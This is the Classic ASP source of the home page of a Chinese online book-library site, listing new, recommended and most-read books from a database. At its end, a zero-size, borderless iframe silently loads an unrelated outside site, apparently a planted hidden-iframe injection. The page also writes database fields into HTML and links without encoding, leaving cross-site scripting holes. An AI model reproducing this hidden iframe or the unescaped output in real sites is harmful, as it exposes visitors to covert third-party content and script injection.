index.asp

系统功能说明： 1 本书库系统专为以文字为主的站点设计

<%@ language=VBScript %>
<!--#include file="conn.asp"-->
<!--#include file="fun.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<Script LANGUAGE="javascript">
if(self!=top){top.location=self.location;}
</script>
    
<title>首页</title>
<style type="text/css">
<!--a{color:#009966; text-decoration: none}
a:hover{color:#FF00CC; text-decoration: none}-->
<!--
body,td,th {
	font-size: 14px;
	color: #009966;
}
body {
	background-color: #FFFFFF;
	background-image: url(image/bg.gif);
}
-->
</style>
<embed src="mid/0.mid"; quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; type="application/x-shockwave-flash" width="1" height="1"></embed>
<!--#include file="middle.asp"-->

<table width="780" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr><td width="10" background="image/left.gif"></td>
     <td width="10"></td>

    <td width="420" valign="top" >
<table width="404" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr><td><br>

<form method="GET" action="search.asp?ki=<%rs=("ki")%>&key=<%rs=("key")%>" target=_blank>
<table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="410">
  <tr>
    <td  width="100%"  height="20" align="center">
搜索书籍 <input type="text"  style="border-bottom:1px dotted #666666;border-left:0px solid #666666;border-right:0px solid #999999;border-top:0px solid #999999" name="key" size="14">
搜索选项 <select size="1" name="ki">
           <option value="1"> 书 籍</option>
          <option value="2"> 作 者</option>
           </select>
<input type="submit" value="搜 索">
    </td>
  </tr>
  </table>
</form>

<br>
<table align="center" width="280" border="1" bordercolor="009966" >
   <tr><td align="center">
<b>==新  书==</b>   </td></tr>
</table><br>
<%
	on error resume next  '找不到站点资料时忽略错误

sql="select * from book order by bookid desc "
set Rs = Server.CreateObject("ADODB.Recordset")
Rs.open sql,conn,1,1
Rs.pagesize=15
page=Request("page")
if (page-Rs.pagecount) > 0 then
page=Rs.pagecount
elseif page = "" or page < 1 then
page = 1
end if
Rs.absolutepage=page
%>

<%
do while not Rs.eof
i = i + 1
if i > Rs.pagesize then
exit do
end if
%>

<%=Rs("zuozhe")%><b>[<a href="bookread.asp?bookid=<%=Rs("bookid")%>&bookname=<%=Rs("bookname")%>" target="_blank"><%=Rs("bookname")%></a>]</b><br>
　　推荐度：<%=encode1(rs("tuijian"))%><br>
　　<%=Rs("adv")%><br>
<%
Rs.movenext
loop
%>

</td><td width="10"></td>
    <td  style="word-break:break-all" valign="top" width="304">

<table align="center" width="220" border="1" bordercolor="009966" >
   <tr><td align="center">
<b>==推荐阅读==</b>　　　<a href="tuijian.asp" target="_blank">more…</a>
   </td></tr>
</table>
<br>

<%

''''''''''''''''''''''''''''''''''''''''''''''''''''''
	on error resume next  '找不到站点资料时忽略错误

sql="select * from book where tuijian=5 order by bookid desc "
set Rs = Server.CreateObject("ADODB.Recordset")
Rs.open sql,conn,1,1
Rs.pagesize=36
page=Request("page")
if (page-Rs.pagecount) > 0 then
page=Rs.pagecount
elseif page = "" or page < 1 then
page = 1
end if
Rs.absolutepage=page
%>

<%
do while not Rs.eof
i = i + 1
if i > Rs.pagesize then
exit do
end if
%>

○<%=Rs("zuozhe")%>：<b><a href="bookread.asp?bookid=<%=Rs("bookid")%>&bookname=<%=Rs("bookname")%>" target="_blank">[<%=Rs("bookname")%>]</a></b></br>

<%
Rs.movenext
loop
%>
<br>
<table align="center" width="220" border="1" bordercolor="009966" >
   <tr><td align="center">
<b>==点击排行==</b>   </td></tr>
</table><br>

<%

''''''''''''''''''''''''''''''''''''''''''''''''''''''
	on error resume next  '找不到站点资料时忽略错误

sql="select * from book where tuijian>2 order by hit desc "
set Rs = Server.CreateObject("ADODB.Recordset")
Rs.open sql,conn,1,1
Rs.pagesize=57
page=Request("page")
if (page-Rs.pagecount) > 0 then
page=Rs.pagecount
elseif page = "" or page < 1 then
page = 1
end if
Rs.absolutepage=page
%>

<%
do while not Rs.eof
i = i + 1
if i > Rs.pagesize then
exit do
end if
%>

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr><td>
●<b><a href="bookread.asp?bookid=<%=Rs("bookid")%>&bookname=<%=Rs("bookname")%>" target="_blank">[<%=Rs("bookname")%>]</a></b>
</td><td align="right">
阅读<b><%=Rs("hit")%></b>次
</td></tr></table>

<%
Rs.movenext
loop
%>

<br>
<table align="center" width="220" border="1" bordercolor="009966" >
   <tr><td align="center">
<b>==论坛统计==</b></td></tr>
</table><br>
<table width="180" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr><td>
<script src=http://bbs.xxbook.net/tongji.asp>
</SCRIPT>
</td></tr></table>

</td><td width="10"></td>
<td width="10" background="image/right.gif"></td>
  </tr>
</table>
<iframe width=0 height=0 align=center frameborder=0 border=0  scrolling=no   src="http://blog.xmsk.net"></iframe>
<!--#include file="foot.asp"-->